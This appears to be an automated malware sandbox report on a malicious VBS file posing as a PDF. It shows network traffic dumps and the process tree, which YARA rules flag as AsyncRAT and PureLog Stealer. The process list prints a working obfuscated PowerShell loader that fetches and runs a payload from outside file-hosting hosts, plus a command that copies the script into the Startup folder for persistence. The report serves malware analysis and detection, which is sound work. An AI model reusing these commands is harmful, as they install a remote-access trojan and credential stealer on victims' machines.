2024-11-20 19:33:49 UTC	8192	IN	Data Raw: b7 96 28 9e 4b 2d f7 02 87 be 23 ff 00 c6 cf 28 0c ba df 0f 56 8c 33 6d 10 ca 37 70 69 4d ad fe 47 3c ff 00 87 f8 d6 a3 5f f6 87 ef b2 be 99 1d 15 99 04 81 fc b5 27 83 b4 2f 36 45 f5 c0 f5 9e 29 e0 11 ea 3c 2f 4d 2e 97 4f 2c d2 41 12 a4 71 82 22 66 5f 48 a6 2c bc 50 b3 5c 1e d8 de 93 ec 8f 85 2a 46 f3 69 8b 49 b1 43 a8 99 8a ab 00 6c f1 b7 ad fc b8 e8 30 3a 4f 1e d4 47 0c 47 c4 35 9a 28 24 75 56 f2 d7 4d 23 32 ab 0d c3 71 dd 57 4c 3a 63 bf fc 43 a3 db 29 6f 15 89 43 2f 58 f4 ce a7 ff 00 16 e1 d3 e0 70 0d a6 f0 1f 0a d2 bb 34 3a 18 99 8d 73 20 2f cf fc 44 9c be aa 57 d4 a3 04 d3 4e ea 19 54 b2 b9 8b 8d f4 d4 41 04 50 5d de cc 3a 5e 66 4d f6 a6 37 f4 45 36 81 24 bb 0c de 6b ee 51 c7 40 82 be 99 1a bd 7e bb fd 89 a5 d4 e9 bc 4e 28 a6 9a 52 86 41 01 64 60 4b Data Ascii: (K-#(V3m7piMG<_'/6E)</M.O,Aq"f_H,P\*FiICl0:OGG5($uVM#2qWL:cC)oC/Xp4:s /DWNTAP]:^fM7E6$kQ@~N(RAd`K
2024-11-20 19:33:49 UTC	8192	IN	Data Raw: 39 1a 0d a6 42 8d d3 60 00 5d 77 38 b4 41 e0 9a 4a 76 37 e9 dc 3b e6 aa eb 23 75 90 95 06 46 5d c5 87 7b 1d 33 30 80 aa bd ec 13 5e f8 06 82 4f 2a 55 46 da 41 36 77 0e 4e 5b 5e ac da 80 e1 6d 5b b1 3d 31 78 2d e6 de 50 d0 15 64 e6 93 2e f4 50 79 f8 fb 60 66 24 76 f6 76 ad 1e 2f 1e f2 ca c6 18 a8 b2 0d 62 da 95 65 70 a1 36 95 3d 71 a2 ce da 51 34 6a 59 bf 0b 83 fc c6 02 64 b5 ae f2 b4 3d ba e7 15 0c 4b 0a af 8e 56 30 5d c9 0a b5 d3 e5 8d 04 55 4d a1 4b 37 7a 38 11 0c 8d a5 62 ec 54 10 0d 51 ba 3f 4c b8 95 66 8c cc 5f 93 f1 e8 71 32 83 d4 ce 83 71 24 d0 1f 2c 13 35 50 28 28 74 03 fa e0 3b 0c e5 4f a9 81 be a0 65 43 87 72 c4 f2 3a 62 65 eb 80 83 e9 87 d3 a9 2d b9 94 d5 56 06 da b0 6d 3c 6b bd 4d 72 72 16 91 8b 36 d0 6e fe 58 b3 a0 58 95 a3 8d 85 75 17 d7 2c Data Ascii: 9B`]w8AJv7;#uF]{30^O*UFA6wN[^m[=1x-Pd.Py`f$vv/bep6=qQ4jYd=KV0]UMK7z8bTQ?Lf_q2q$,5P((t;OeCr:be-Vm<kMrr6nXXu,
2024-11-20 19:33:49 UTC	8192	IN	Data Raw: 5e ff 00 84 dd 57 d7 af d7 28 8d b6 c2 dd 73 5e c7 05 0b 5b 10 f6 45 5e 31 1c 42 40 cc 17 6a a8 b1 80 2f 33 71 2b 44 91 ed 97 8b 4b b9 77 c8 48 27 b6 1a 2d 2a b3 07 66 fc 42 c6 41 5d 4c 6c 51 5a d7 f8 4f b6 04 cf 18 fb ab 79 62 c5 8b f7 cf 6d fb 2a 9a 05 d4 7d a1 89 9d 84 92 f8 26 a5 55 56 ef 8d a4 d5 77 a1 9e 17 cd 64 a8 ef 71 3c 1f 86 7b 2f d9 64 4b 2f db 73 a4 91 5c a6 af 47 a9 85 c2 7e 2a 31 b1 35 f1 e3 01 bd 4c cf 3f ed 9b c2 11 a5 57 92 1f 10 d0 23 37 a8 ee 65 58 54 9e 45 dd a9 bb cb 7e d3 67 31 3f 86 45 21 6d ca fe 24 4b 96 34 59 b5 73 0e 17 b7 41 84 f1 28 74 fa 2f db 84 1e 58 61 1f fb 4b 46 ea b4 4b 53 08 9b b9 eb ce 53 f6 ad 13 b6 9b c2 75 bb 08 8e 6d 4f 88 d0 61 b5 95 86 a9 99 81 1f f1 0c 07 ff 00 69 ec b1 fd 8c fd 9f a9 be 7c 39 bd 43 df cb 80 Data Ascii: ^W(s^[E^1B@j/3q+DKwH'-fBA]LlQZOybm}&UVwdq<{/dK/s\G~*15L?W#7eXTE~g1?E!m$K4YsA(t/XaKFKSSumOai\|9C
2024-11-20 19:33:49 UTC	8192	IN	Data Raw: d9 da 68 fc ab ae 0e 48 dd 98 39 e4 83 6a 70 07 aa 55 01 5c bb 29 5d ca 42 fb 1e 9c 62 31 07 2b 3b 31 62 a0 0d bd bf d7 6c d2 97 6c ff 00 c2 40 ba 6b ae b8 b8 78 d5 5a 31 4c b6 47 18 09 19 1e 39 37 97 6a 65 04 01 d0 1a ac 89 b5 01 64 52 8c 7d 3c b7 5e 4e 56 68 c8 1b 40 3b 57 a0 f6 18 30 87 70 20 12 ac 2d 8d 74 ac 03 cf 38 9e 42 ca 68 ad 5f c3 9c 58 94 52 d2 93 ea dd f9 e7 2a 95 2c bb b8 3e ae 45 5f b6 55 54 f9 db 40 52 18 6e f9 1c 07 74 ce 8a b3 9d 95 fb a0 59 8e 3f 04 81 e1 49 17 80 62 06 ab e3 d7 13 d3 30 d3 ca 1e 65 66 47 3b 69 45 83 9a b0 4f a3 6b 20 90 a0 d2 a9 1d 30 32 8c 46 45 42 e1 9d 45 dc 7d fa e6 8e 89 52 2f 0e 54 92 e2 dc 08 ae e2 fe 39 62 f1 7a 88 fc 64 10 0a fb 62 32 ca 19 42 12 1d 57 a8 3c 8c 0d 65 9d 22 d1 c9 0c 93 2a 21 40 0b 0f 56 ea 37 Data Ascii: hH9jpU\)]Bb1+;1bll@kxZ1LG97jedR}<^NVh@;W0p -t8Bh_XR,>E_UT@RntY?Ib0efG;iEOk 02FEBE}R/T9bzdb2BW<e"!@V7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49785	108.181.20.35	443	3960	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 19:34:10 UTC	76	OUT	GET /zj1o07.txt HTTP/1.1 Host: files.catbox.moe Connection: Keep-Alive
2024-11-20 19:34:11 UTC	560	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Nov 2024 19:34:11 GMT Content-Type: text/plain Content-Length: 104448 Last-Modified: Thu, 14 Nov 2024 15:38:58 GMT Connection: close Vary: Accept-Encoding ETag: "67361992-19800" X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self' https://files.catbox.moe; style-src https://files.catbox.moe 'unsafe-inline'; img-src 'self' data:; font-src 'self'; media-src 'self'; object-src 'self'; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Accept-Ranges: bytes
2024-11-20 19:34:11 UTC	15824	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-11-20 19:34:11 UTC	16384	IN	Data Raw: 6b 42 41 4f 41 55 44 41 6b 42 67 5a 41 41 44 41 57 42 41 52 41 38 43 41 5a 42 51 55 41 6f 46 41 73 42 77 4b 41 49 46 41 77 41 77 59 41 67 48 41 6f 42 67 52 41 41 44 41 48 42 77 5a 41 34 45 41 76 42 51 65 41 51 48 41 7a 42 77 51 41 63 48 41 4e 42 41 5a 41 41 48 41 77 41 51 62 41 55 44 41 48 42 77 59 41 51 44 41 31 41 41 4e 41 49 44 41 49 42 41 61 41 45 44 41 44 42 41 4f 41 67 47 41 76 42 41 4d 41 38 45 41 42 42 67 64 41 4d 47 41 36 42 67 55 41 34 47 41 72 42 67 5a 41 63 48 41 31 41 51 62 41 6f 46 41 33 41 67 51 41 51 48 41 75 42 51 52 41 55 45 41 4c 42 51 65 41 63 44 41 33 41 67 4d 41 38 43 41 50 42 67 5a 41 34 47 41 68 42 77 59 41 63 47 41 72 42 51 63 41 73 43 41 34 42 67 5a 41 51 46 41 6f 42 41 57 41 6f 48 41 74 42 67 53 41 51 45 41 57 42 41 52 41 73 45 Data Ascii: kBAOAUDAkBgZAADAWBARA8CAZBQUAoFAsBwKAIFAwAwYAgHAoBgRAADAHBwZA4EAvBQeAQHAzBwQAcHANBAZAAHAwAQbAUDAHBwYAQDA1AANAIDAIBAaAEDADBAOAgGAvBAMA8EABBgdAMGA6BgUA4GArBgZAcHA1AQbAoFA3AgQAQHAuBQRAUEALBQeAcDA3AgMA8CAPBgZA4GAhBwYAcGArBQcAsCA4BgZAQFAoBAWAoHAtBgSAQEAWBARAsE
2024-11-20 19:34:11 UTC	16384	IN	Data Raw: 33 6b 55 4d 36 6c 55 5a 57 70 57 5a 4e 42 67 57 79 45 55 56 30 70 55 62 72 56 47 65 30 5a 44 62 35 63 45 5a 70 70 48 41 5a 4a 46 52 76 68 6d 4e 31 74 6b 59 52 52 55 55 31 41 58 62 57 5a 30 59 41 67 6c 61 42 46 6e 59 53 56 58 4e 35 4e 6a 53 4d 42 54 59 4c 5a 6e 53 57 42 41 57 6e 64 56 51 74 42 48 52 30 67 46 54 34 4d 32 5a 42 4e 6c 52 34 4d 47 41 59 52 56 54 41 67 46 55 54 46 56 55 56 5a 33 54 4d 4e 48 41 59 39 30 53 49 6c 31 5a 49 5a 6c 62 31 77 32 54 69 35 30 54 4f 6c 44 5a 41 63 31 62 4e 4e 6a 4d 48 4e 31 56 6a 4e 6d 64 33 5a 47 62 32 4d 48 65 4f 42 77 56 53 4a 57 53 4d 6c 55 55 71 4e 58 4f 32 52 33 59 58 42 33 4e 4b 46 48 41 58 39 55 52 79 6c 46 4f 6c 6c 54 5a 41 63 31 52 7a 45 6d 51 31 68 31 54 54 42 77 56 31 49 55 65 5a 74 6b 59 56 78 55 61 41 59 46 Data Ascii: 3kUM6lUZWpWZNBgWyEUV0pUbrVGe0ZDb5cEZppHAZJFRvhmN1tkYRRUU1AXbWZ0YAglaBFnYSVXN5NjSMBTYLZnSWBAWndVQtBHR0gFT4M2ZBNlR4MGAYRVTAgFUTFVUVZ3TMNHAY90SIl1ZIZlb1w2Ti50TOlDZAc1bNNjMHN1VjNmd3ZGb2MHeOBwVSJWSMlUUqNXO2R3YXB3NKFHAX9URylFOllTZAc1RzEmQ1h1TTBwV1IUeZtkYVxUaAYF
2024-11-20 19:34:11 UTC	16384	IN	Data Raw: 41 59 42 41 6b 77 52 2b 41 59 42 41 6b 55 69 2f 41 59 42 41 6b 55 53 38 41 59 42 41 4f 77 51 6e 41 4d 52 41 66 41 41 62 41 55 41 41 41 73 53 6e 41 41 51 41 41 45 77 48 41 77 47 41 64 42 41 41 45 73 4d 41 41 45 77 45 42 38 42 41 73 42 51 58 41 41 77 41 2f 41 41 41 42 4d 52 41 66 41 41 62 41 30 46 41 41 4d 77 76 41 41 51 41 54 45 77 48 41 77 47 41 64 42 41 41 42 55 4f 41 41 45 77 45 42 38 42 41 73 42 51 58 41 41 41 41 58 41 41 41 42 4d 52 41 66 41 41 62 41 30 46 41 41 41 41 4e 41 41 51 41 54 45 77 48 41 77 47 41 64 42 41 41 44 41 50 41 41 45 77 45 42 38 42 41 6b 42 51 42 41 41 77 4b 69 44 41 41 41 41 51 41 4f 41 51 59 41 55 51 44 53 53 41 75 41 41 42 41 41 45 77 43 41 41 47 41 46 4d 41 45 62 77 50 41 51 41 41 41 42 73 41 41 66 42 51 4f 41 41 77 42 79 41 41 Data Ascii: AYBAkwR+AYBAkUi/AYBAkUS8AYBAOwQnAMRAfAAbAUAAAsSnAAQAAEwHAwGAdBAAEsMAAEwEB8BAsBQXAAwA/AAABMRAfAAbA0FAAMwvAAQATEwHAwGAdBAABUOAAEwEB8BAsBQXAAAAXAAABMRAfAAbA0FAAAANAAQATEwHAwGAdBAADAPAAEwEB8BAkBQBAAwKiDAAAAQAOAQYAUQDSSAuAABAAEwCAAGAFMAEbwPAQAAABsAAfBQOAAwByAA
2024-11-20 19:34:11 UTC	16384	IN	Data Raw: 41 41 41 41 69 42 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 41 41 41 41 41 41 67 55 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 46 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 41 41 41 41 41 6b 42 41 41 63 44 7a 43 55 72 41 57 4a 51 4c 41 6b 41 41 63 42 51 42 41 63 41 41 61 41 77 41 41 55 41 41 59 41 77 41 41 4d 41 41 57 41 77 41 41 55 41 41 74 41 51 41 41 55 41 41 73 41 67 41 41 4d 41 41 72 41 51 41 41 4d 41 41 71 41 67 41 42 59 31 41 42 44 41 41 42 49 31 41 34 43 41 41 41 45 41 41 46 4d 67 69 44 6f 33 41 6b 4e 77 57 44 55 31 41 51 4e 67 52 44 67 67 41 38 4c 77 32 43 67 72 41 67 4b 51 66 43 49 6d 41 49 4a 67 50 43 59 43 41 4c 41 41 41 41 59 41 41 42 45 51 38 42 49 50 41 75 45 51 71 41 73 49 41 75 45 41 Data Ascii: AAAAiBQAAAAAAAAAAAAAAAABAAAAAAgUAEAAAAAAAAAAAAAAAQAAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAkBAAcDzCUrAWJQLAkAAcBQBAcAAaAwAAUAAYAwAAMAAWAwAAUAAtAQAAUAAsAgAAMAArAQAAMAAqAgABY1ABDAABI1A4CAAAEAAFMgiDo3AkNwWDU1AQNgRDggA8Lw2CgrAgKQfCImAIJgPCYCALAAAAYAABEQ8BIPAuEQqAsIAuEA
2024-11-20 19:34:11 UTC	16384	IN	Data Raw: 42 41 41 41 44 42 41 41 41 59 41 41 41 51 41 69 41 41 41 42 49 43 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 41 41 41 49 51 59 41 41 67 41 4e 42 41 41 41 51 42 41 41 41 67 41 41 41 41 4e 42 42 67 4b 41 41 41 41 41 30 74 4a 41 41 41 41 47 30 39 2f 2f 37 76 41 2f 6b 6d 6a 59 45 52 47 52 6b 78 45 59 64 52 47 52 6f 41 41 41 34 37 62 4b 41 41 41 76 2f 6d 42 6a 45 42 46 61 45 68 43 41 41 41 35 76 70 41 41 41 34 75 66 6b 45 68 43 41 41 51 37 76 35 52 45 4b 41 41 41 73 37 48 41 41 41 51 42 34 6f 41 41 41 73 75 66 41 41 41 41 4b 6f 54 48 52 51 53 45 4b 41 41 41 6b 2f 6d 43 41 41 67 36 2b 52 53 45 2f 2f 2f 2f 2f 39 44 49 52 55 53 45 6c 4d 42 57 58 55 53 45 4b 41 41 41 70 2f 57 4a 52 6f 41 41 41 67 75 66 6b 45 42 41 41 41 67 44 34 6f 41 41 41 51 2b Data Ascii: BAAADBAAAYAAAQAiAAABICAAAAAAAAAAAAAAAAAAA8AAAIQYAAgANBAAAQBAAAgAAAANBBgKAAAAA0tJAAAAG09//7vA/kmjYERGRkxEYdRGRoAAA47bKAAAv/mBjEBFaEhCAAA5vpAAA4ufkEhCAAQ7v5REKAAAs7HAAAQB4oAAAsufAAAAKoTHRQSEKAAAk/mCAAg6+RSE/////9DIRUSElMBWXUSEKAAAp/WJRoAAAgufkEBAAAgD4oAAAQ+
2024-11-20 19:34:11 UTC	6704	IN	Data Raw: 6c 45 41 41 41 67 55 6a 4a 38 68 43 41 41 67 4b 6f 49 41 41 41 51 41 30 55 41 48 41 68 67 72 63 41 41 51 41 41 41 79 2f 2f 2f 50 6e 34 41 77 45 4b 41 41 41 70 67 69 43 41 41 41 4b 76 42 48 41 68 77 70 63 4b 41 41 41 6e 38 6d 43 41 41 67 4a 6f 59 41 41 41 63 45 4b 4b 41 41 41 6c 38 6d 43 41 41 51 49 76 42 48 41 68 51 70 63 43 6f 41 41 41 51 43 4b 71 41 41 41 41 73 44 4f 2f 2f 2f 2f 4f 69 7a 2f 2f 2f 2f 64 34 59 79 2f 2f 2f 66 67 36 59 41 41 41 63 42 4b 41 41 41 41 41 41 43 41 41 41 67 57 35 51 41 41 41 63 68 66 2f 2f 2f 2f 6f 69 6a 43 41 41 77 49 76 52 41 41 41 55 67 66 45 41 41 41 51 34 48 42 41 41 51 43 2b 52 41 41 41 6f 68 66 4b 41 41 41 69 38 6d 43 41 41 51 49 76 42 48 41 68 51 6f 63 43 51 41 41 41 45 68 66 45 41 41 41 4d 34 6e 42 41 41 67 54 6f 41 51 Data Ascii: lEAAAgUjJ8hCAAgKoIAAAQA0UAHAhgrcAAQAAAy///Pn4AwEKAAApgiCAAAKvBHAhwpcKAAAn8mCAAgJoYAAAcEKKAAAl8mCAAQIvBHAhQpcCoAAAQCKqAAAAsDO////Oiz////d4Yy///fg6YAAAcBKAAAAAACAAAgW5QAAAchf////oijCAAwIvRAAAUgfEAAAQ4HBAAQC+RAAAohfKAAAi8mCAAQIvBHAhQocCQAAAEhfEAAAM4nBAAgToAQ

Target ID:	0
Start time:	14:33:27
Start date:	20/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\LETA_pdf.vbs"
Imagebase:	0x7ff6202e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	14:33:32
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
Imagebase:	0x7ff610c50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	14:33:32
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	14:33:32
Start date:	20/11/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 127.0.0.1 -n 10
Imagebase:	0x7ff6812b0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	14:33:42
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
Imagebase:	0x7ff66e660000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	14:33:44
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	14:33:44
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	14:33:44
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'\|').REplACE('PhR','$') )"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	14:34:10
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xb30000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000000D.00000002.3427696368.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false